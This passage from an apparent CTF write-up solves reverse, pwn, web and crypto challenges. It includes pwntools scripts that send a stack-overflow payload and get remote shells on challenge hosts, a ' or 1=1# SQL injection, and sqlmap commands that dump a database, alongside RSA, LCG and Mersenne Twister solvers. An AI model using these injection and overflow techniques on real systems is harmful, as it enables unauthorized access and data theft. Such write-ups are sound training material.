v0-=( (v1<<4)+key[0] ) ^ (v1+sum) ^ ( (v1>>5)+key[1] );
sum+=delta;
}
code[0]=v0;
code[1]=v1;
}

int main() {
unsigned int v4[]= {0xC9FA3B95, 0x7CFD0735, 0x958C7C9F, 0xC143B59E, 0x61741E89, 0xF47DCDC4, 0xD6E2A1F2, 0x6A38E9AD, 0xC2C16FEB, 0x8C0EE999};
unsigned int v19[]= {0x65766967, 0x756F795F, 0x7075635F, 0x6165745F}; //key

//int v17=0x5f797274,v18=0x64726168;
int a3=38;

unsigned int Xor[]= {0x5f797274, 0x64726168, 0xC9FA3B95, 0x7CFD0735, 0x958C7C9F, 0xC143B59E, 0x61741E89, 0xF47DCDC4, 0xD6E2A1F2, 0x6A38E9AD, 0xC2C16FEB, 0x8C0EE999};
int num=0;

//decode
while(a3>0) {
tea(&v4[num],v19);
cout<<hex<<((v4[num]^Xor[num])&0xffffffff);
cout<<" ";
cout<<hex<<((v4[num+1]^Xor[num+1])&0xffffffff);
cout<<" ";
num+=2;
a3-=8;
}

//输出
// int flag[]={0x7b435953,0x79615379,0x446e6153,0x5f6e6169,0x6e30685a,0x5f614c5f,0x5f6e3179,0x5f616843,0x6e614978,0x202007d};
// for(int i=0;i<10;i++)
// {
// //printf("%08x:",code[i]);
// printf("%c%c%c%c",*((char*)&flag[i]+0),*((char*)&flag[i]+1),*((char*)&flag[i]+2),*((char*)&flag[i]+3));
// }

return 0;
}

PWN

Check in

题目拖进 IDA 可以明显的发现这个是一个随机数运算生成器,利用随机数生成运算的两个数字和运算符号,我们就只需要利用getline来捕获对应的数字和运算符号,再通过evall函数进行运算就可以得到对应的shell,脚本如下 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

#context.log_level = 'debug'
#r = process('./math')
r = remote('123.57.230.48', 12343)


def getnum():
r.recvuntil('num1:')
num1 = r.recvuntil('\n')[:-1]
print(num1)
r.recvuntil('num2:')
num2 = r.recvuntil('\n')[:-1]
print(num2)
r.recvuntil('The sign of this calculation is ')
calculation = r.recvline('\n')[:-1]
print(calculation)
return int(eval(num1+calculation+num2))


for i in range(200):
r.sendline(str(getnum()).encode('utf-8'))

r.interactive()

恋爱小游戏

题目中附带有源码,经过分析可得不论输入什么都可以拿到shell,我们连上主机查看目录

可以看到有一个flag文件,我们利用 cat flag.txt打开便可以得到 flag

恋爱小游戏 2.0

拿到程序后我们拿ExeinfoPe.exe进行分析可以知道这个是一个64位的.elf文件,我们拖入IDA反汇编进行查看:

一看便会发现你输入好像没有任何的用处,但是我们可以打开栈表查看一下数据的存储结构:

可以看出来buf与s2的数据结构是捆绑在一个栈上面的,由此我们可以联想到栈溢出的攻击方式,我们通过输入超过 24 位长度的buf来占用 s2 的存储栈,进而实现栈溢出的攻击方式。

我们编写一个 Exp 进行对我们的输入输出进行控制,万万不可直接 nc ,在Linux下的输入会被判回车(我栽在了这个坑不压于 3 个小时),直接 nc 会出现你的输入在Linux下多加入了一个回车:

这个时候就体现 Exp 的好处在于可以传入数据而不使用回车( 千万别用 sendline ,sendline是以回车(\n)结尾的 ),我们写一下Exp,如下:

1
2
3
4
5
6
7
8
9
#! /usr/bin/python3
from pwn import*
elf = ELF('./pwn111')
#io = process('./pwn111')
io = remote('47.242.20.238',10000)

payload = b'a'*24 + b'loveyou'
io.send(payload)
io.interactive()

拿到Linux下终端打开于是就可以得到 flag。

Web

Dark

URL 后缀是 .onion ,我们利用洋葱路由,访问该URL查看源码,得到flag

welcome2021

通过访问页面查看源码需要用 WELCOME 请求来请求此网页,但是我只了解过get和post请求方式,但是可以利用burpsuite 抓包,GET 改 WELCOME , 得到 f1111aaaggg9.php ,继续用bp更改,在 repeater 板块得到 flag

babysql

通过简单的post注入语句 ' or 1=1#,得到 uname=admin&pwd=123456 ,输入并登录,将报文保存,利用 sqlmap 猜解 python sqlmap.py “路径” --dbs 看到有个flag库

python sqlmap.py “路径” -D flag --tables 看到有个fllag表 python sqlmap.py “路径” -T fllag -D flag --columns 看到有个 flllllg 字段 python sqlmap.py “路径” --dump -C flllllg -T fllag -D flag 得到 flag

蜜雪冰城甜蜜蜜

通过改一改前端点一点就可以得到 flag 啦

babyphp

我们进入网页查看源代码会发现有一个robots

利用仅有的爬虫知识还是知道这个的我们进入robots.txt界面 :

之后我们利用hint给的链接进行学习如何读取根目录文件,我们构造对应的伪协议,进行读取就可以得到Flag

雷克雅未克

在bp抓包结果中插入第一行,并将经纬度改为第二行,再发包就可以得到flag

我们会得到以下东西 :

直接复制发送到控制台就可以得到对应的Flag

validation

不会验证码跳过的某个 Web 手选择了直接输出 1000 次验证码拿到 Flag 。( 太 难 了 )

Crypto

三个也可以

附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Util.number import getPrime,bytes_to_long
from flag import flag
flag = bytes_to_long(flag)
p = getPrime(100)
q = getPrime(100)
r = getPrime(100)

n = p*q*r
e = 65537
c = pow(flag, e, n)

print(n)
print(c)

'''
798898099277934230940128318327632478801901355882614385038310680236381399664973004454688807
249128262668727227416761229197781088291962817031744463346178556057415901512114944554308575
'''

分析

n同样可以是三个大素数的乘积。题目中给到我们的是n和c,getPrime(100)意思是获取100bits 内的素数。分解第一串数字的质因数得到

821285845529489288911031313917 * 967244547191154261539598250343 * 1005682191548299165290460437397

编出解密程序:

得到的数转16进制转字符,SYC{now_you_solve_it}

Classical Music

附件

1
qy sdrgx bswkjlpuh zmntp rv wesokk qp fcabwz gqw rdi nlufaaehp rijmntp jjvwmej oqg etz jxmkt tqc wvlnv sv fex sykbclp iih ulh af awedeyj zwp osn qwytwjv hidobdmkvd pvhg tm cditey nuwkjtpwi dw pif xqucsql eqv lpf myvp wgzt cn oqg mngz dhvrf fnv kij mtf estvmx pgyvp waw akcs puk nkanvgiky wsfl uowmhy lgu honwgc hwdtg sz puupv qnv imest ywjtintn kw hipbbx gc daw nqrpxfwukb dsdrgc afymn ntobl lqks sihntcz oitd oqg vqgjp rdi bpil rc nays yj ucksh yeu mauztgiy fowkmqdqc xtfetw cpd pt cup ga rsyeest kg hwcvfy kmkvp fpxg oak xqucsxyav biadzpv orsf cpd tob eqv zpuzq dwulw ach ouy tmvzzu ii cy cgfvgce fbw nnir kdxj fnvwzuczdyk ipl lry yraejuiue dkw svf kffgc dcauwa vhp rfso ka wcritnakw sgy

题目:ineinembaechleinhelledaschossinfrohereil

分析

本精德一眼看出题目是德语,查询得到舒伯特名曲《鳟鱼》。维吉尼亚密码解密(题目就是密钥)得到

1
In einem Baechlein helle Da schoss in froher Eil Die launische Forelle /Vorueber/ wie ein Pfeil Ich stand an dem Gestade Und sah in suesser /Ruhe/ Des muntern Fischleins Bade Im klaren Baechlein zu Ein Fischer mit der Rute Wohl an dem Ufer stand Und sah mit kaltem Blute Wie sich das Fischlein wand Solang dem Wasser Helle So dacht ich nicht gebricht So faengt er die Forelle Mit seiner Angel nicht Doch endlich ward dem Diebe Die Zeit zu lang Er macht Das Baechlein tueckisch truebe Und eh ich es gedacht So zuckte seine Rute Das Fischlein zappelt dran Und ich mit regem Blute Sah die Betrogne an Die ihr am goldnen Quelle Der sichern Jugend weilt Denkt doch an die Forelle Seht ihr Gefahr so eilt Meist fehlt ihr nur aus Mangel Der Klugheit Maedchen Seht Verfuehrer mit der Angel Sonst blutet ihr zu spaet i love classical music

Superposition under the starry sky

题目:PRNG(伪随机数)

附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Util.number import bytes_to_long, getPrime
from flag import flag
a = getPrime(400)
b = getPrime(400)
n = getPrime(400)
flag = bytes_to_long(flag)
seed = flag

result = []

for i in range(3):

seed = (seed * a + b) % n

result.append(seed)
print(result)
print(n)
"""
[1633086272556604467630727869278140040711140555507257984778706962389364338237377391272504059109316040445365656669071569236, 1206389051656797336925675372412697477889689141174380289961348552709531162180853687116202278892215286522581909284859193494, 664238088423928246579566483655935746695807924062694495126404306361290788561253706421181510449476188038387172722467882193]
2482696698513566590184292572066254640333143735400366745928208268241117181592178071999744746850718587310205478604372055081

"""

分析

同余线性方程组求解。线性同余方法(LCG)是一种产生伪随机数的方法。

公式2:a=((Xn+2-Xn+1)(Xn+1-Xn)-1)%n

证明过程:


再用a,output序列,n求出b
根据output序列第一个反推出初始seed

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
s1=1633086272556604467630727869278140040711140555507257984778706962389364338237377391272504059109316040445365656669071569236
s2=1206389051656797336925675372412697477889689141174380289961348552709531162180853687116202278892215286522581909284859193494
s3=664238088423928246579566483655935746695807924062694495126404306361290788561253706421181510449476188038387172722467882193
n=2482696698513566590184292572066254640333143735400366745928208268241117181592178071999744746850718587310205478604372055081
import gmpy2
a=((s3-s2)*gmpy2.invert(s2-s1,n))%n
print(a)
1501687225447374830381454165993678452212448237453742893920856298211809016376194095312127495908540711125918000127238055639
b=(s3-a*s2)%n
print(b)
1828367414619901255296942792862744811384090905901047135818184024047395995342997106827918200744468964203183148069972634247
seed = (gmpy2.invert(a,n)*(s1-b))%n
print(seed)
575251488695438232210421200145577894837344195317520596015957987304372605

附:python中byte 与 int 的转换(示例):

1
2
3
4
5
6
b = b'SYC'
int.from_bytes(b,byteorder='big')
5462339
x=5462339
x.to_bytes(3,byteorder='big',signed=False)
b'SYC'

Radom

附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from Crypto.Util.number import *
import random

flag = b'????????????'
l = len(bin(bytes_to_long(flag))[2:])
if l % 32 == 0:
l //= 32
else:
l = l // 32 + 1

rand = ''
Rand = []
for _ in range(l):
pro = random.getrandbits(32)
Rand.append(pro)
rand += bin(pro)[2:].zfill(32)


s = bin(bytes_to_long(flag))[2:].zfill(len(rand))
c = ''
for i in range(len(s)):
c += str(int(s[i]) ^ int(rand[i]))
print(c)

def change(number):
number = number ^ (number >> 11)
number = number ^ ((number << 7) & 2636928640)
number = number ^ ((number << 15) & 4022730752)
number = number ^ (number >> 18)

return number & 0xffffffff

for i in range(len(Rand)):
Rand[i] = change(Rand[i])
print(Rand)

# Rand = [389902299, 3515959351, 2216779731, 2601284435, 514154742, 4172047173, 2921107804, 2217826537, 4248207905, 1322376767]

# c = 01101100010001011100100011111110110000101111000001100001110010001100111000110010111101011111100101011100111011110100001010100111100000010101100011001000011111110111111001010000010000111000101000011111011101001011110001010100100011001010001001111110011111100101111010000010101011100010001111011001010010001010001110001111

分析

1)在求解时走了很多弯路,但还是附上笔记:

根据队友的指导,在Pychome中下载了Z3包,帮助我求解异或位移方程。z3是一种有效的解方程工具。

学习z3库

在Python中使用Z3模块,我们的所求结果一般有以下几种数据类型:

Int #整型
Bool #布尔型
Array #数组
BitVec ( ‘a’,8 ) #char型

其中BitVec可以是特定大小的数据类型,不一定是8,例如C语言中的int型可以用BitVec(‘a’,32)表示

设未知数的方法

可以使用 ‘Int’ , ‘Real’ , ‘BitVec’ 等声明一个整数或实数变量,也可以申明一个变量数组

例如:x = Int(‘x’) #这个int不是c/c++中的那个,而仅仅只代表整数

1
2
3
4
y =Real('y')  				#实数变量(数学中的那个实数)
z =BitVec('z',8) #char型
w =BitVec('w',32) #int型
p =Bool('p') #定义布尔型

初始化序列:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
flag = []
for i in range(5):
flag.append(BitVec('%d' % i, 8)) #char型
print(flag)

#结果为:[0, 1, 2, 3, 4]

flag= [Int('%d' % i) for i in range(32)] #初始化为int型

flag = []
for i in range(5):
flag.append(BitVec('%d' % i, 32)) #int型
print(flag)

#结果为:[0, 1, 2, 3, 4]
基本使用语法

Solver()

Solver()命令会创建一个通用求解器,创建后我们可以添加我们的约束条件,进行下一步的求解

add()

add()命令用来添加约束条件,通常在solver()命令之后,添加的约束条件通常是一个逻辑等式

check()

该函数通常用来判断在添加完约束条件后,来检测解的情况,有解的时候会回显sat,无解的时候会回显unsat

model()

在存在解的时候,该函数会将每个限制条件所对应的解集的交集,进而得出正解。

常用求解步骤:

创建约束求解器

1
solver = Solver()

添加约束条件(这一步是z3求解的关键)

1
solver.add()

判断解是否存在

1
if solver.check() == sat:		# sat 表示有解 unsat 表示无解

求解

1
print ( solver.model() )		#一般是以 '约束求解器'.model() 得到结果,配合 print输出
加密过程的实质只有两步:

1)产生随机二进制字符串rand。具体做法是:

1.获得l。

将flag字符串转换成long。这里插一个python中byte 与 int 的转换(示例):

1
2
3
4
5
6
b = b'SYC'
int.from_bytes(b,byteorder='big')
5462339
x=5462339
x.to_bytes(3,byteorder='big',signed=False)
b'SYC'

再由十进制转二进制,计算二进制数的长度,把他赋给l。

然后进行选择操作:

1
2
3
4
5
6
7
8
9
if(l%32 == 0){

l =l // 32 #//=:整除

}else{

l = l // 32 +1

}

从后面可以看到,l = 10。

2.产生rand字符串。

for循环重复l次操作:

产生32位(也就是整型,<=2^32-1)的随机数pro,把它添加到Rand数组中。然后,把pro转换为二进制字符串,对其进行zfill(32)操作:

原字符串右对齐,前面填充0,得到32位长度的字符串。

添加到空字符串rand后面。

所以,最后得到的Rand数组有10个元素,而rand字符串就是长度为10*32=320的二进制字符串。

2)加密。具体做法是:

**1.对Rand数组中的每个元素进行change函数的变换。**变换过程是:

1
2
3
4
5
6
7
def change(number):
number = number ^ (number >> 11)
number = number ^ ((number << 7) & 2636928640)
number = number ^ ((number << 15) & 4022730752)
number = number ^ (number >> 18)

return number & 0xffffffff

最终得到的就是题目下方的Rand数组,以及其中的10个数。这个数组对解题非常关键!

**2.加密。**将flag字符串转换成long,再由十进制转二进制。进行zfill操作(还记得是怎么做的吗?)得到和rand的长度相等(=320)的二进制字符串s。这样,含有flag的字符串s就和含有随机数的字符串rand长度相等了。

对字符串中相同位置(s[i],rand[i])的二进制数字进行异或^运算,所得到的二进制数字添加到空字符串c的后面,所得到的c就是密文了。

这张图是上面文字的流程图版,结合起来就能理解它的加密原理了。

现在手头有的条件有三个:加密原理、含有随机数(密钥)的数组Rand、密文c

理解了加密原理,解密的思路就很清晰了:

1)既然知道Rand中的随机数变换法则和最终结果,那就可以通过解方程来反求随机数pro。将pro转换为二进制,zfill操作后依次连接起来,就可以得到二进制字符串rand。又根据异或的特殊性质:

a^b^b = a

c是由rand和s异或得到的,那么再把c和rand异或就能得到s。有了s,自然就有flag了。

遇到问题

我编写了求解pro的方程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from z3 import *

def change(number): #这里和加密过程一样
number = number ^ (number >> 11)
number = number ^ ((number << 7) & 2636928640)
number = number ^ ((number << 15) & 4022730752)
number = number ^ (number >> 18)

return number & 0xffffffff
number = BitVec('number',32)
solver = Solver()
solver.add(change(number) == 389902299) #这里列方程
if solver.check() == sat: #判断是否有解
print(solver.model())
else:
print('WA')

代入第一个数据389902299,成功得到第一个pro:[number = 587391287]

但代入第二个、第三个……最后一个数据,全都无解!

2)正确的解法

**引例:**shift = 3,length = 8

1
2
3
4
5
6
7
8
9
10
11
number = '11010010'
value = int(number,2)
shifted = value>>3
result = value^shifted
print("value:"+bin(value))
print("shifted:"+bin(shifted))
print("result:"+bin(result))

value: 0b11010010
shifted:0b00011010
result: 0b11001000

观察结果,不难发现,result的前shift位和value的前shift位是相同的。这是因为异或时shifted的前shift位全部是0。因此我们能得到mask满足前shift位和value相同,后面全为0

该怎么得到这个数呢?根据逻辑运算符的法则,当result与一个前shift位为1,后面全为0的数做&按位与运算(这个数记作p),就能得到mask(前提是二者长度相等)。其中p是由0xffffffff<<(length-shift)来的

1
2
3
4
5
6
result = int('11001000',2)
p = int('11100000',2)
mask = result&p
print(bin(mask))

0b11000000

有了value的前shift位数mask,根据移位规则,就能得到shifted的前2 * shift位(记作mask2),又由异或规则,value的前2*shift位value1就等于

value1 = mask2^result

重复循环知道n次shift的值>=length,此时得到的数就是原来的值value了!

这张图是上面文字的形象表示,结合起来就能理解解密过程了

根据相同的道理,可以推导出左移时候的情况。结合在一起,就能编写出最终的解密代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def inverse_right_shift_xor(value, shift): #右移逆向
i, result = 0, 0
while i * shift < 32:
part_mask = (0xffffffff << (32 - shift)) >> (i * shift)
part = value & part_mask
value ^= part >> shift
result ^= part
i += 1
return result

def left(value, shift, mask): #左移逆向
i, result = 0, 0
while i * shift < 32:
part_mask = (0xffffffff>> (32 - shift)) << (i * shift)
part = value & part_mask
value ^= (part << shift) & mask
result ^= part
i += 1
return result
Rand = [389902299, 3515959351, 2216779731, 2601284435, 514154742, 4172047173, 2921107804, 2217826537, 4248207905, 1322376767]
rand=''
for i in range(len(Rand)) : #求解pro,并得到rand
a = Rand[i]
b = inverse_right_shift_xor(a, 18)
c = left(b, 15, 4022730752)
d = left(c, 7, 2636928640)
e = inverse_right_shift_xor(d, 11)
rand += bin(e)[2:].zfill(32)
c = '01101100010001011100100011111110110000101111000001100001110010001100111000110010111101011111100101011100111011110100001010100111100000010101100011001000011111110111111001010000010000111000101000011111011101001011110001010100100011001010001001111110011111100101111010000010101011100010001111011001010010001010001110001111'
s = ''
for i in range(len(rand)): #异或是可逆的,得到s
s += str(int(c[i]) ^ int(rand[i]))
s = '1010011010110010100001101111011001100010111001100101101011100100110000101101110011001000011000001101101001011010110111101110010001011010110111001101111011101000010110101010100011010000110000101110100001011010110100100110101001011010110000100101101011100010111010100110011011100110111010001101001011011110110111001111101'
x = int(s,2)
print(x)

695436377387756659207326273798451770608388670144120223799296234200392681042739248103523814960765

最终得到的x用long_to_bytes,得到SYC{1s-rand0m-or-not-That-i5-a-qu3stion}

松本眞、西村拓士,我是你们的破壁人!!!

step by step

附件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
import gmpy2 as gp
import random
from flag import flag
flag = bytes_to_long(flag)
p = getPrime(100)
q = getPrime(100)
n = p * q
clist = []
for i in bin(flag)[2:]:
while True:
x = random.randint(1, n)
if gp.gcd(x, n) == 1:
c = (pow(3, int(i) + x * 2, n) * x**2) % n
clist.append(c)
break
print(n)

print(clist)
'''
1254676922968308054473282588201432441748387886551758353389559
[112490766735794793494258589897687977797993914062877995369853, 423825989606899409733986824741778284626898537704684650054048, 1239912440099782777043012567198356769914426423982980091061342, 1078272043845620437375344423460688188703277391763226546180151, 159286594418951337823608883690981934876156746053051292254402, 189434397083734065502133592439774066008070864031834709620441, 264105932521685455831442874483122006851812174082486446496525, 252479590298382195780257510632414277760400686563367629394825, 34602153293813328946647556336715300088648653636913843351330, 808692976248223555967993480457680585654329233137701900525232, 836623390705731389723338030121423143060093415003999783847569, 1218829648463542488706300570862499177531816513847669694517865, 571795296699927140597629733281737316938588378300113684751321, 324408602401500017634991400429058861929441907523133040616718, 652309276856121062936275131393396513436481452168222192943617, 135368324264829776566203256490111602190045577103623626459391, 677807894471260530035795635544578014296111908610448488780236, 1135708831589387209825610411788217272141435421502826225558333, 196882176169680492388044653063809988445336200851553236565493, 1130705847039352086713022625138307016610235729598245321418537, 974627899979016730650505688458957247745733629797568884460037, 948987355716018600108888773982169186615279073844787201014331, 364200727831752453880724784142441918092136276002472196567297, 811786724825671349602848333002825903390189436235744947667153, 248544601758659627780643527412918707686666534454807514221527, 1078860601713092925823762998344218082511712606733279204236487, 634851505432770176888905188832078431577879067601938324607512, 232972021265122845242665536151391828176473610240017058444456, 1080796896535347345799923528377657622102130648424673730618155, 622059452832122796944248249707923610120342427983134655552340, 837257289852652447556360719449396492271622453092839975184158, 626327369687614106133688347844033161113612134573404258486630, 1233019194503373412608053469954621323121044455057773900406773, 912564467902216938034173803480737819092198560216579817988291, 408076399689155479697691914877522087726703540593136498587215, 1118745562641959211267518507476218888452509349041078337285098, 1103228775032586830415033772993541541820163005491285279882940, 680899077364553221002722115625274809744677788062477442312086, 355349436487753936000721704075588637048102593449252106813298, 5254361838244723184679801326407268664182654715017847086461, 480145671282471097574354032682584083826945502763658946101104, 249136810947175342894562520096603076879372702701088690594445, 175216547555975039599856545426098941943382367602172941744494, 436310864447848960706296122266108102033486860525693191197797, 342620466614509535208918527767209905005823047382938223113086, 369848992268737575958936185907214270590887322936419642815242, 278575045025661827978388874494219837629182438978526195181637, 1189171180780533071473125545247289861677955100195126109964590, 256190182678715266654387215899616014762531664768736561586327, 719160215933023695898776016718481385742508618676368640641809, 147033122794177086112261858085593706727904275426698884436011, 247466503394960387825735598976068779045757078494832316444804, 787155643450160361724955357286670519256662665704845721250609, 112101120505278148126370035869523081506090979629681063614381, 890009544685851814191758439205974159586245412054287515881584, 1168625756997945588141764967298286550498540363325170551587334, 946031342434770434479581499217378781992921204179509449159996, 759124753621557368233069144948668001126536400499520990700641, 930584421635842804698880452391670787414151645249729141739148, 140981825203074314092967178062754008486703246602401550271041, 880126454149733441805446179826584472107299085899567279467558, 510129631452465708304688340114214360026947205003705062663759, 857274757020001316639221394675820731579775247610619594760511, 444486969413575687285961819261097401974268741167841964919716, 645830958128126799221416466698967430939726760487764050203821, 128864469762235652994228226148325614187747349331618451490354, 732913002124581119538173953534485652651112140400076340646452, 1245672039639609341331477592944058028011275464117654972595670, 1160765030758624190775369713232721901616189349905945190302338, 745734132091942990384796294800038299023052878196943617322617, 34973161572808799782240527358912894045293050940490682156733, 507586651070816931641904112686082840821460472219390068396982, 359195216122538975934588740641220005777478961423841727365432, 60506687352654743312206686911057762445232526009857863834444, 402036521271253699065227780662896890228371046068283711170220, 465427226677337673103293964961886503610313835775181975449721, 925246962888172144515172444374190859841851825972285013006527, 542176614893876361668218387162168517498644799220587472896002, 852215132196560596695876248813488364201491362280912035912061, 945548964927065532651141821562204387565145712002346337639711, 736943822066388892909878515650831955490636214039062998720510, 766357526983761241394182000478355475617711906398422036954152, 77156525593382594092608158744099524034892127423492520631820, 562562817542804973601572838378263130638457829485887327130286, 768093992370198202822524520006977816845162154854939167515517, 1099957424762490943973557935337350760135180754563993547358098, 698816668614997174913438496891169625976027534942525487303513, 417641699919584202170293946436276552973997395211792288687960, 1006229610175567855209117721408416419896921240126676949824724, 4206431689326446028142220658552064336105749936096602165359, 893846509909828693967573302731018066461118006150050253703744, 878425189026235350891203121924637130803808920422558040493294, 730047416245095988472212050949689633327186823542036387345181, 648095719945750715387983948406690533087473721929975873848169, 213513454359755001454814601053555627585345770061082141021326, 350001050012957205656929492039628823072469208940960439158263, 1016858635000037892730835311903706149371704230428070443107320, 1040987439471207869975679257301693610464700899302787643642354, 1194690615352550474729309715449838057220521596135246725909553, 508165053077110820797186371383859674371399129952105597675096, 266494438294281492504556232035584920066331725618646155019547, 28469482072427012244441092412738741355431846649166066368980, 790175775999108776289865518368056397969387298334297622465909, 590581138260907253939363764832940322585129285968275409510634, 221909012579985462013325803334419731308959816500415305934495, 1063780559219791515938747204569742799329237935871594345400252, 977747525495509380693721486866821791065499754056415279744653, 346306061371595730004513789139807509540063462412619321003626, 456103179467597859705969406860196938169100856240100927540401, 969300078509189631808517876996065933181606409375207150288464, 1029806631220370012120597683927351131622576733031694535189521, 344896431603140401163996810922500893279239069499717183710501, 430000423804197030568046280589772094106128395099434235915031, 700179843567016021775399107572964843751703290591400960796112, 961227906080189143689698720420426659986080298413605666115640, 607209606799750473714271393200060455739097869884727178692312, 106958847163040842225140399905505511449479709017540851084532, 953369942103273809257762268859167463617831445026988544378658, 428269440686506672744282327102546440435442014650795927162711, 56621803434665963032193024056111306570802155743250152849716, 800707635631355839166448276143596444307614901816577459076131, 1032256515703247765067950588859299047987257001987777631061065, 813725055801254665600156259482200403981770576173968929131487, 940024839745068011043019236327963504645352520797347949823455, 1065005324140908547287467504568283884363143527586278243210801, 1087828777506290663525994551834233065465427418753806182842291, 668387132001968449612224853010931354244797738682007519611989, 563185246196177998134932666270526715161378776103340983046580, 148292872313931508344196679476720973752571125303712466045656, 413889563851226543249984374872220761253120628252088546262699, 853542105910386365929770611480736086723126396438880650918917, 59730458840715910492468261806200793684923819793480597554146, 792260492800286127199649276659137441324248689470594987965190, 753608630500639136668081531883097047491651258191552267413126, 33514911499472634865669915075769163328171019557849259474018, 634963859228206842307837566519244534650818456901841184879977, 219354096455968590219445072777282329948785844491217770978344, 1123377226439583158729762969668999276741275445803396272436031, 357765295513680388973981712560200525235334734759663454993805, 385868499980630535766019957877752149506518574529845752144666, 138578212294299392480319417966870656714476525885983752756188, 1110526796192425688386237355263892073046060477008920073455044, 244699783645221387947312903861559688207612147588246639081699, 583209905862562678600202085212425597809036630416117298854978, 1207854793808762194414317661151529169444903662139065050090746, 1127506983223466275821900811940356395242309493951089427884032, 526185119576631048584313761548704536031634598332129570964689, 266882032196696984660521486449809902101615921156569537960109, 1188118705564450461919200724390473040524626320052324478509883, 682831747455078454647149830819696088960233603851250102828667, 669419928942561433130809268138650695825596612075801278942980, 1077750630919867687880983437504767304166615787212813240073843, 486023540111308483450127320955599047045479654684477043315645, 409429366346146233850088863324915025465847596238000661872172, 779883595226131237594759409249289551033410304517183865388408, 1155872225708857920911178110668279174877878422508206228579940, 411063490066038942009369947241345843238439795078686488373864, 1243453053541946030699872676712518536022061850799945414120045, 871711034820169700581685353768658469631429266493677466057997, 601920686459160120670719526703980120744719013393032353678765, 329932100141177850249406090412821976994089707958551194468769, 558327299751202100333335353826111016492585371503632197870640, 113444032302978611299580451314055133491399096282744687816086, 152525914892717139057165748051966776217223953242540511499945, 965404850400527912039904270871065001313018148780552532312669, 313557099445185696402013375071955475516203519824979749629786, 952254159335810337756614972813240144837526566801182319987154]

'''


分析:

1)提示分析:

题目中提供了提示连接。在链接文章中,作者给出了二次同余方程的解法,来解决两种方程:
$$
x^2≡n(mod p)
$$

$$
x^2≡n(mod p^n)
$$

2)附件分析:

加密过程其实就是对一串二进制字符进行变换。变换的法则是:
$$
((3^(i+2x)modn)x^2)modn=c
$$
其中i=0或1,是原文;n=p
q(p,q为素数);x是随机数,且满足与n互质;c是密文。从附件也可以看出,有167个密文元素,就是说原文的长度是167。

3)综合分析及解题:

解题过程从两方面开展。

1.二次同余方程的求解、解数

学习资源:

1.信息安全数学基础(上海交大,b站课程)

2.计算勒让德符号(legendre symbol)代码实现(含运行结果)_橙子的坚果奶盖的博客-CSDN博客(https://blog.csdn.net/weixin_46447549/article/details/114372252)

3.勒让德符号和雅可比符号_Kagamigawa Noelle-CSDN博客_雅可比符号(https://blog.csdn.net/happy_single/article/details/106125155)

4.二次同余式解数的判定(https://zhidao.baidu.com/question/509006719.html)

5.百度百科:勒让德符号、雅可比符号

对于方程
$$
x^2≡y(modn),n=p*q
$$
其等价于方程组
$$
x^2≡y(modp)
$$

$$
x^2≡y(modq)
$$

对判定方程是否有解、有多少个解的问题,统称为方程的解数。

对模数为素数的二次同余方程解数的判定,通常使用Legendre(勒让德)符号。

勒让德符号有其快速计算方法。

我编写了大整数求勒让德符号的程序(python):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def ee(a):
e=0
while(a%2 == 0):
a=a/2
e=e+1
return e
def L_FAST(a,p):
if(a==0):
return 0
elif(a==1):
return 1
else:
if(ee(a)%2==0):
s=1
else:
if(p%8==1 or p%8==7):
s=1
if(p%8==3 or p%8 == 5):
s=-1
if(p%4==3 and a%4==3):
s=-s
p1=p%a
if(a==1):
return s
else:
return s*L_FAST(p1,a)

雅可比符号是对勒让德符号的扩展。雅可比符号能解决模数n是合数的情况。对于题目的n=p*q,这是一个很大的帮助。

雅可比符号是这样定义的:
$$
J p (x) =

+1,x ∈ QR p
$$

$$
−1,x / ∈ QR p .
$$

2.学习GM(Goldwasser-Micali)加密算法

https://www.csa.iisc.ac.in/~arpita/Cryptography15/CT7.pdf

这篇论文详细解释了GM加密算法的理论基础、加密解密算法以及算法复杂度的证明。

论文中对判断模n二次剩余有如下定理:

设y满足
$$
y=yq§
$$

$$
y=yp§
$$

有唯一的解(也即中国剩余定理),则y是模N的二次剩余当且仅当yp是p的二次剩余且yq是q的二次剩余。

证明从略。

算法1:产生N

算法2:加密

算法3:解密

编出解密程序(省去赋值):

1
2
3
4
5
6
7
8
9
10
11
12
import gmpy2
from Crypto.Util.number import long_to_bytes
s=''
for i in range(len(a)):
if gmpy2.jacobi(a[i], n) == -1:
s += '1'
else:
s += '0'
print(s)
number = int(s, 2)
output = long_to_bytes(number)
print(output)

结果:b’SYC{run_to_the_light}’

baby house of rsa

0 super baby

给出e,n,c,d,求m.

代码:(省去赋值)

1
2
3
4
import gmpy2
from Crypto.Util.number import *
m=gmpy2.powmod(c,d,n)
print(long_to_bytes(m))

结果:b’8848’

1 very baby

已知n=a1* a2 *a3 *a4,求m

代码(省去赋值):

1
2
3
4
5
6
import gmpy2
from Crypto.Util.number import *
phi=(AA[0]-1)*(AA[1]-1)*(AA[2]-1)*(AA[3]-1)
d=gmpy2.invert(e,phi)
m=gmpy2.powmod(c,d,n)
print(long_to_bytes(m))

结果:b’114514’

2 beyond baby

n=a1^4,对应的phi=a1^4-a1^3

代码:

1
2
3
4
5
6
import gmpy2
from Crypto.Util.number import *
phi = a1**4-a1**3
d=gmpy2.invert(e,phi)
m=gmpy2.powmod(c,d,n)
print(long_to_bytes(m))

结果:b’226’

3 infinity baby

给出e,n,c,p,q,求m

代码:

1
2
3
4
5
6
7
8
9
10
11
12
import gmpy2
from Crypto.Util.number import *
e=65537
n=266266790497495211367281021249406677231
c=234292670742280314534663243185847290744
p=16055431013588849203
q=16584219400409416277
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
